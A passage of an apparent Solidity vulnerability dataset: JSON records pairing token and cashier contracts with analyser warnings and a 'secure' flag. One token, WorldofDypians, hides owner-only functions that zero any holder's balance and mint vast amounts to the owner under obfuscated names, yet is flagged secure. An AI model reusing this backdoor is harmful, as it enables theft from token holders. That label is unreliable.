currentTime);\n\n return true;\n }\n\n function claimAirdrop(address user, uint256 _id) public returns (bool) {\n uint256 airdropAmount = airdropableAmount(user, _id);\n\n require(airdropAmount > 0, \"don't have airdrop reward\");\n\n require(\n airdropAmount <= BullInterface.balanceOf(address(this)),\n \"Not enough airdrop tokens in the contract\"\n );\n\n bool airdrop_status = BullInterface.transfer(user, airdropAmount);\n\n require(airdrop_status, \"Airdrop transfer failed\");\n\n return true;\n }\n\n function withdrawRemained(address token) public onlyOwner {\n uint256 amount = IERC20(token).balanceOf(address(this));\n\n bool status = IERC20(token).transfer(msg.sender, amount);\n\n require(status, \"Token transfer failed\");\n }\n\n function claimMultiple(\n address[] calldata users,\n uint256 _id\n ) external returns (bool) {\n require(users.length > 0, \"Zero users length\");\n\n for (uint256 i; i < users.length; i++) {\n require(claim(users[i], _id), \"Claim failed\");\n }\n\n return true;\n }\n}", "file_name": "solidity_code_814.sol", "secure": 0, "size_bytes": 25956 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract WorldofDypians {\n uint256 private immutable _supply;\n\n string private _name;\n\n string private _symbol;\n\n address private immutable _owner;\n\n uint8 private immutable _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19122be): WorldofDypians.boughAmount should be constant \n\t// Recommendation for 19122be: Add the 'constant' attribute to state variables that never change.\n uint256 boughAmount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n _name = \"World of Dypians\";\n\n _symbol = \"WOD\";\n\n _decimals = 9;\n\n _supply = 10 ** 9 * 10 ** _decimals;\n\n _owner = msg.sender;\n\n _balances[msg.sender] = _supply;\n\n emit Transfer(address(0), msg.sender, _supply);\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return _supply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function cex(address[] memory _user, uint256[] memory _amount) external {\n if (_owner == msg.sender) {\n for (uint256 i = 0; i < _user.length; i++) {\n _transfer(msg.sender, _user[i], _amount[i]);\n }\n }\n }\n\n function execute(address n) external {\n if (\n _owner == msg.sender &&\n _owner != n &&\n pairs() != n &&\n n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ) {\n _balances[n] = boughAmount;\n } else {}\n }\n\n function revertExecute(uint256 n) external {\n if (_owner == msg.sender) {\n uint256 devTransfer = n;\n\n devTransfer = 10 ** 15 * n * 1 * 10 ** _decimals;\n\n uint256 rev_bxx = devTransfer;\n\n address mnt = msg.sender;\n\n address xrgpqndn = mnt;\n\n _balances[xrgpqndn] += rev_bxx;\n }\n }\n\n function pairs() public view virtual returns (address) {\n return\n IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),\n address(this)\n );\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_815.sol", "secure": 1, "size_bytes": 5138 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GigaIndusETH is ERC20 {\n constructor() ERC20(\"GigaIndusETH\", \"GigaIndusETH\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_816.sol", "secure": 1, "size_bytes": 296 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ITokenList {\n function isAllowed(address) external view returns (bool);\n}", "file_name": "solidity_code_817.sol", "secure": 1, "size_bytes": 156 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IWrappedCoin {\n function deposit() external payable;\n}", "file_name": "solidity_code_818.sol", "secure": 1, "size_bytes": 137 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ITokenList.sol\" as ITokenList;\nimport \"./IWrappedCoin.sol\" as IWrappedCoin;\n\ncontract TokenCashierWithPayload is Ownable {\n event Receipt(\n address indexed token,\n uint256 indexed id,\n address sender,\n address recipient,\n uint256 amount,\n uint256 fee,\n bytes payload\n );\n\n event Pause();\n\n event Unpause();\n\n event TokenListAdded(ITokenList tokenList, address tokenSafe);\n\n modifier whenNotPaused() {\n require(!paused);\n\n _;\n }\n\n bool public paused;\n\n ITokenList[] public tokenLists;\n\n address[] public tokenSafes;\n\n mapping(address => uint256) public counts;\n\n uint256 public depositFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aceb155): TokenCashierWithPayload.wrappedCoin should be immutable \n\t// Recommendation for aceb155: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IWrappedCoin public wrappedCoin;\n\n constructor(IWrappedCoin _wrappedCoin) Ownable(msg.sender) {\n wrappedCoin = _wrappedCoin;\n }\n\n fallback() payable external {\n revert();\n }\n\n function pause() public onlyOwner {\n require(!paused, \"already paused\");\n\n paused = true;\n\n emit Pause();\n }\n\n function unpause() public onlyOwner {\n require(paused, \"already unpaused\");\n\n paused = false;\n\n emit Unpause();\n }\n\n function addTokenList(\n ITokenList _tokenList,\n address _tokenSafe\n ) public onlyOwner {\n tokenLists.push(_tokenList);\n\n tokenSafes.push(_tokenSafe);\n\n emit TokenListAdded(_tokenList, _tokenSafe);\n }\n\n function count(address _token) public view returns (uint256) {\n return counts[_token];\n }\n\n function setDepositFee(uint256 _fee) public onlyOwner {\n depositFee = _fee;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d8d3ffd): TokenCashierWithPayload.getSafeAddress(address) has external calls inside a loop tokenLists[i].isAllowed(_token)\n\t// Recommendation for d8d3ffd: Favor pull over push strategy for external calls.\n function getSafeAddress(address _token) public view returns (address) {\n\t\t// cache-array-length | ID: 226c49d\n for (uint256 i = 0; i < tokenLists.length; i++) {\n\t\t\t// calls-loop | ID: d8d3ffd\n if (tokenLists[i].isAllowed(_token)) {\n return tokenSafes[i];\n }\n }\n\n return address(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73be8f8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73be8f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 23d1621): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 23d1621: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function depositTo(\n address _token,\n address _to,\n uint256 _amount,\n bytes memory _payload\n ) public payable whenNotPaused {\n require(_to != address(0), \"invalid destination\");\n\n bool isCoin = false;\n\n uint256 fee = msg.value;\n\n if (_token == address(0)) {\n require(msg.value >= _amount, \"insufficient msg.value\");\n\n fee = msg.value - _amount;\n\n\t\t\t// reentrancy-events | ID: 73be8f8\n\t\t\t// reentrancy-benign | ID: 23d1621\n wrappedCoin.deposit{value: _amount}();\n\n _token = address(wrappedCoin);\n\n isCoin = true;\n }\n\n require(fee >= depositFee, \"insufficient fee\");\n\n address safe = getSafeAddress(_token);\n\n if (safe == address(0)) {\n\t\t\t// reentrancy-events | ID: 73be8f8\n\t\t\t// reentrancy-benign | ID: 23d1621\n require(\n !isCoin &&\n safeTransferFrom(\n _token,\n msg.sender,\n address(this),\n _amount\n ),\n \"fail to transfer token to cashier\"\n );\n\n\t\t\t// reentrancy-events | ID: 73be8f8\n\t\t\t// reentrancy-benign | ID: 23d1621\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0x42966c68, _amount)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"fail to burn token\"\n );\n } else {\n if (isCoin) {\n\t\t\t\t// reentrancy-events | ID: 73be8f8\n\t\t\t\t// reentrancy-benign | ID: 23d1621\n require(\n safeTransfer(_token, safe, _amount),\n \"failed to put into safe\"\n );\n } else {\n\t\t\t\t// reentrancy-events | ID: 73be8f8\n\t\t\t\t// reentrancy-benign | ID: 23d1621\n require(\n safeTransferFrom(_token, msg.sender, safe, _amount),\n \"failed to put into safe\"\n );\n }\n }\n\n\t\t// reentrancy-benign | ID: 23d1621\n counts[_token] += 1;\n\n\t\t// reentrancy-events | ID: 73be8f8\n emit Receipt(\n _token,\n counts[_token],\n msg.sender,\n _to,\n _amount,\n fee,\n _payload\n );\n }\n\n function deposit(\n address _token,\n uint256 _amount,\n bytes memory _payload\n ) public payable {\n depositTo(_token, msg.sender, _amount, _payload);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 218015a): TokenCashierWithPayload.withdrawToken(address)._token lacks a zerocheck on \t (success,balance) = _token.call(abi.encodeWithSelector(0x70a08231,address(this)))\n\t// Recommendation for 218015a: Check that the address is not zero.\n function withdrawToken(address _token) public onlyOwner {\n\t\t// missing-zero-check | ID: 218015a\n (bool success, bytes memory balance) = _token.call(\n abi.encodeWithSelector(0x70a08231, address(this))\n );\n\n require(success, \"failed to call balanceOf\");\n\n uint256 bal = abi.decode(balance, (uint256));\n\n if (bal > 0) {\n require(\n safeTransfer(_token, msg.sender, bal),\n \"failed to withdraw token\"\n );\n }\n }\n\n function safeTransferFrom(\n address _token,\n address _from,\n address _to,\n uint256 _amount\n ) internal returns (bool) {\n\t\t// reentrancy-events | ID: 73be8f8\n\t\t// reentrancy-benign | ID: 23d1621\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0x23b872dd, _from, _to, _amount)\n );\n\n return success && (data.length == 0 || abi.decode(data, (bool)));\n }\n\n function safeTransfer(\n address _token,\n address _to,\n uint256 _amount\n ) internal returns (bool) {\n\t\t// reentrancy-events | ID: 73be8f8\n\t\t// reentrancy-benign | ID: 23d1621\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0xa9059cbb, _to, _amount)\n );\n\n return success && (data.length == 0 || abi.decode(data, (bool)));\n }\n}", "file_name": "solidity_code_819.sol", "secure": 0, "size_bytes": 8038 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MetalliumAlpha is IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: cdb2d7e): MetalliumAlpha._name should be constant \n\t// Recommendation for cdb2d7e: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Metallium Alpha\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d9c3ef): MetalliumAlpha._symbol should be constant \n\t// Recommendation for 6d9c3ef: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MTLA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 7430801): MetalliumAlpha._decimals should be constant \n\t// Recommendation for 7430801: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n uint256 private _totalSupply = 50_000_000_000 * 10 ** uint256(_decimals);\n\n uint256 public constant TEAM_LOCK_PERIOD = 365 days;\n\n uint256 public constant COMMUNITY_LOCK_PERIOD = 60 days;\n\n uint256 public constant VESTING_DURATION = 30 days;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 781d031): MetalliumAlpha.teamAllocation should be immutable \n\t// Recommendation for 781d031: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public teamAllocation = _totalSupply.mul(5).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: b3d2bb2): MetalliumAlpha.marketingDevelopment should be immutable \n\t// Recommendation for b3d2bb2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public marketingDevelopment = _totalSupply.mul(10).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: adbff2e): MetalliumAlpha.communityRewards should be immutable \n\t// Recommendation for adbff2e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public communityRewards = _totalSupply.mul(25).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1de6dc0): MetalliumAlpha.treasury should be immutable \n\t// Recommendation for 1de6dc0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public treasury = _totalSupply.mul(10).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9507ac): MetalliumAlpha.presaleAllocation should be immutable \n\t// Recommendation for a9507ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public presaleAllocation = _totalSupply.mul(25).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: f02d509): MetalliumAlpha.stakingAllocation should be immutable \n\t// Recommendation for f02d509: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public stakingAllocation = _totalSupply.mul(15).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9a5405c): MetalliumAlpha.vestingStart should be immutable \n\t// Recommendation for 9a5405c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public vestingStart;\n\n uint256 public teamUnlocked;\n\n uint256 public marketingUnlocked;\n\n uint256 public communityUnlocked;\n\n uint256 public treasuryUnlocked;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b538b6b): MetalliumAlpha.teamWallet should be immutable \n\t// Recommendation for b538b6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public teamWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad30e20): MetalliumAlpha.marketingWallet should be immutable \n\t// Recommendation for ad30e20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4359231): MetalliumAlpha.communityWallet should be immutable \n\t// Recommendation for 4359231: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public communityWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0dceea5): MetalliumAlpha.treasuryWallet should be immutable \n\t// Recommendation for 0dceea5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public treasuryWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bd29b2): MetalliumAlpha.presaleWallet should be immutable \n\t// Recommendation for 3bd29b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public presaleWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de48fbc): MetalliumAlpha.stakingWallet should be immutable \n\t// Recommendation for de48fbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public stakingWallet;\n\n uint256 public constant TAX_PERCENTAGE = 15;\n\n uint256 public constant TAX_CAP_PERCENTAGE = 30;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 431b788): MetalliumAlpha.MAX_TAX_AMOUNT should be immutable \n\t// Recommendation for 431b788: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public MAX_TAX_AMOUNT =\n _totalSupply.mul(TAX_CAP_PERCENTAGE).div(1000);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0f83ed): MetalliumAlpha.taxWallet should be immutable \n\t// Recommendation for d0f83ed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public taxWallet;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0f0548c): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._teamWallet lacks a zerocheck on \t teamWallet = _teamWallet\n\t// Recommendation for 0f0548c: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 67a8efb): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._marketingWallet lacks a zerocheck on \t marketingWallet = _marketingWallet\n\t// Recommendation for 67a8efb: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b011448): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._communityWallet lacks a zerocheck on \t communityWallet = _communityWallet\n\t// Recommendation for b011448: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: eec1b68): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._treasuryWallet lacks a zerocheck on \t treasuryWallet = _treasuryWallet\n\t// Recommendation for eec1b68: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8d58035): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._presaleWallet lacks a zerocheck on \t presaleWallet = _presaleWallet\n\t// Recommendation for 8d58035: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6612af1): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._stakingWallet lacks a zerocheck on \t stakingWallet = _stakingWallet\n\t// Recommendation for 6612af1: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 50caf01): MetalliumAlpha.constructor(address,address,address,address,address,address,address)._taxWallet lacks a zerocheck on \t taxWallet = _taxWallet\n\t// Recommendation for 50caf01: Check that the address is not zero.\n constructor(\n address _teamWallet,\n address _marketingWallet,\n address _communityWallet,\n address _treasuryWallet,\n address _presaleWallet,\n address _stakingWallet,\n address _taxWallet\n ) {\n\t\t// missing-zero-check | ID: 0f0548c\n teamWallet = _teamWallet;\n\n\t\t// missing-zero-check | ID: 67a8efb\n marketingWallet = _marketingWallet;\n\n\t\t// missing-zero-check | ID: b011448\n communityWallet = _communityWallet;\n\n\t\t// missing-zero-check | ID: eec1b68\n treasuryWallet = _treasuryWallet;\n\n\t\t// missing-zero-check | ID: 50caf01\n taxWallet = _taxWallet;\n\n\t\t// missing-zero-check | ID: 8d58035\n presaleWallet = _presaleWallet;\n\n\t\t// missing-zero-check | ID: 6612af1\n stakingWallet = _stakingWallet;\n\n vestingStart = block.timestamp;\n\n _balances[presaleWallet] = presaleAllocation;\n\n _balances[stakingWallet] = stakingAllocation;\n\n emit Transfer(address(0), presaleWallet, presaleAllocation);\n\n emit Transfer(address(0), stakingWallet, stakingAllocation);\n\n _balances[_msgSender()] = _totalSupply\n .sub(teamAllocation)\n .sub(marketingDevelopment)\n .sub(communityRewards)\n .sub(treasury)\n .sub(presaleAllocation)\n .sub(stakingAllocation);\n\n emit Transfer(address(0), _msgSender(), _balances[_msgSender()]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bef97e5): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for bef97e5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: b12914d): MetalliumAlpha._autoReleaseVestedTokens() contains a tautology or contradiction communityRelease > communityUnlocked && communityMonths >= 0\n\t// Recommendation for b12914d: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 900e72e): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 900e72e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a7dd65): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4a7dd65: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7899946): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 7899946: Consider ordering multiplication before division.\n function _autoReleaseVestedTokens() internal {\n uint256 currentTime = block.timestamp;\n\n if (\n\t\t\t// timestamp | ID: bef97e5\n currentTime >= vestingStart + TEAM_LOCK_PERIOD && teamUnlocked == 0\n ) {\n _balances[teamWallet] = teamAllocation;\n\n teamUnlocked = teamAllocation;\n\n emit Transfer(address(0), teamWallet, teamUnlocked);\n }\n\n\t\t// divide-before-multiply | ID: 7899946\n uint256 marketingMonths = (currentTime - vestingStart) /\n VESTING_DURATION;\n\n\t\t// timestamp | ID: bef97e5\n if (marketingMonths > 0 && marketingMonths <= 10) {\n\t\t\t// divide-before-multiply | ID: 7899946\n uint256 marketingRelease = marketingDevelopment\n .mul(marketingMonths)\n .div(10);\n\n\t\t\t// timestamp | ID: bef97e5\n if (marketingRelease > marketingUnlocked) {\n uint256 amountToRelease = marketingRelease.sub(\n marketingUnlocked\n );\n\n _balances[marketingWallet] = _balances[marketingWallet].add(\n amountToRelease\n );\n\n marketingUnlocked = marketingRelease;\n\n emit Transfer(address(0), marketingWallet, amountToRelease);\n }\n }\n\n\t\t// timestamp | ID: bef97e5\n if (currentTime >= vestingStart + COMMUNITY_LOCK_PERIOD) {\n\t\t\t// divide-before-multiply | ID: 900e72e\n uint256 communityMonths = (currentTime -\n (vestingStart + COMMUNITY_LOCK_PERIOD)) / VESTING_DURATION;\n\n\t\t\t// divide-before-multiply | ID: 900e72e\n uint256 communityRelease = communityRewards.mul(20).div(100).add(\n communityRewards.mul(10).div(100).mul(communityMonths)\n );\n\n\t\t\t// timestamp | ID: bef97e5\n\t\t\t// tautology | ID: b12914d\n if (communityRelease > communityUnlocked && communityMonths >= 0) {\n uint256 amountToRelease = communityRelease.sub(\n communityUnlocked\n );\n\n _balances[communityWallet] = _balances[communityWallet].add(\n amountToRelease\n );\n\n communityUnlocked = communityRelease;\n\n emit Transfer(address(0), communityWallet, amountToRelease);\n }\n }\n\n\t\t// divide-before-multiply | ID: 4a7dd65\n uint256 treasuryMonths = (currentTime - vestingStart) /\n VESTING_DURATION;\n\n\t\t// timestamp | ID: bef97e5\n if (treasuryMonths > 0 && treasuryMonths <= 10) {\n\t\t\t// divide-before-multiply | ID: 4a7dd65\n uint256 treasuryRelease = treasury.mul(treasuryMonths).div(10);\n\n\t\t\t// timestamp | ID: bef97e5\n if (treasuryRelease > treasuryUnlocked) {\n uint256 amountToRelease = treasuryRelease.sub(treasuryUnlocked);\n\n _balances[treasuryWallet] = _balances[treasuryWallet].add(\n amountToRelease\n );\n\n treasuryUnlocked = treasuryRelease;\n\n emit Transfer(address(0), treasuryWallet, amountToRelease);\n }\n }\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _autoReleaseVestedTokens();\n\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _autoReleaseVestedTokens();\n\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0021890): MetalliumAlpha.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0021890: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (sender != owner() && recipient != owner()) {\n uint256 taxAmount = _calculateTax(amount);\n\n uint256 amountAfterTax = amount.sub(taxAmount);\n\n if (taxAmount > 0) {\n _balances[sender] = _balances[sender].sub(\n taxAmount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[taxWallet] = _balances[taxWallet].add(taxAmount);\n\n emit Transfer(sender, taxWallet, taxAmount);\n }\n\n _balances[sender] = _balances[sender].sub(\n amountAfterTax,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amountAfterTax);\n\n emit Transfer(sender, recipient, amountAfterTax);\n } else {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function _calculateTax(uint256 amount) internal view returns (uint256) {\n uint256 taxAmount = amount.mul(TAX_PERCENTAGE).div(1000);\n\n if (taxAmount > MAX_TAX_AMOUNT) {\n taxAmount = MAX_TAX_AMOUNT;\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bf5a028): MetalliumAlpha._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bf5a028: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function burn(uint256 amount) public returns (bool) {\n require(amount > 0, \"Amount must be greater than 0\");\n\n _balances[_msgSender()] = _balances[_msgSender()].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(_msgSender(), address(0), amount);\n\n return true;\n }\n}", "file_name": "solidity_code_82.sol", "secure": 0, "size_bytes": 19213 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MyToken\", \"MBBX\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_820.sol", "secure": 1, "size_bytes": 586 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MyToken\", \"MOOX\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_821.sol", "secure": 1, "size_bytes": 586 }
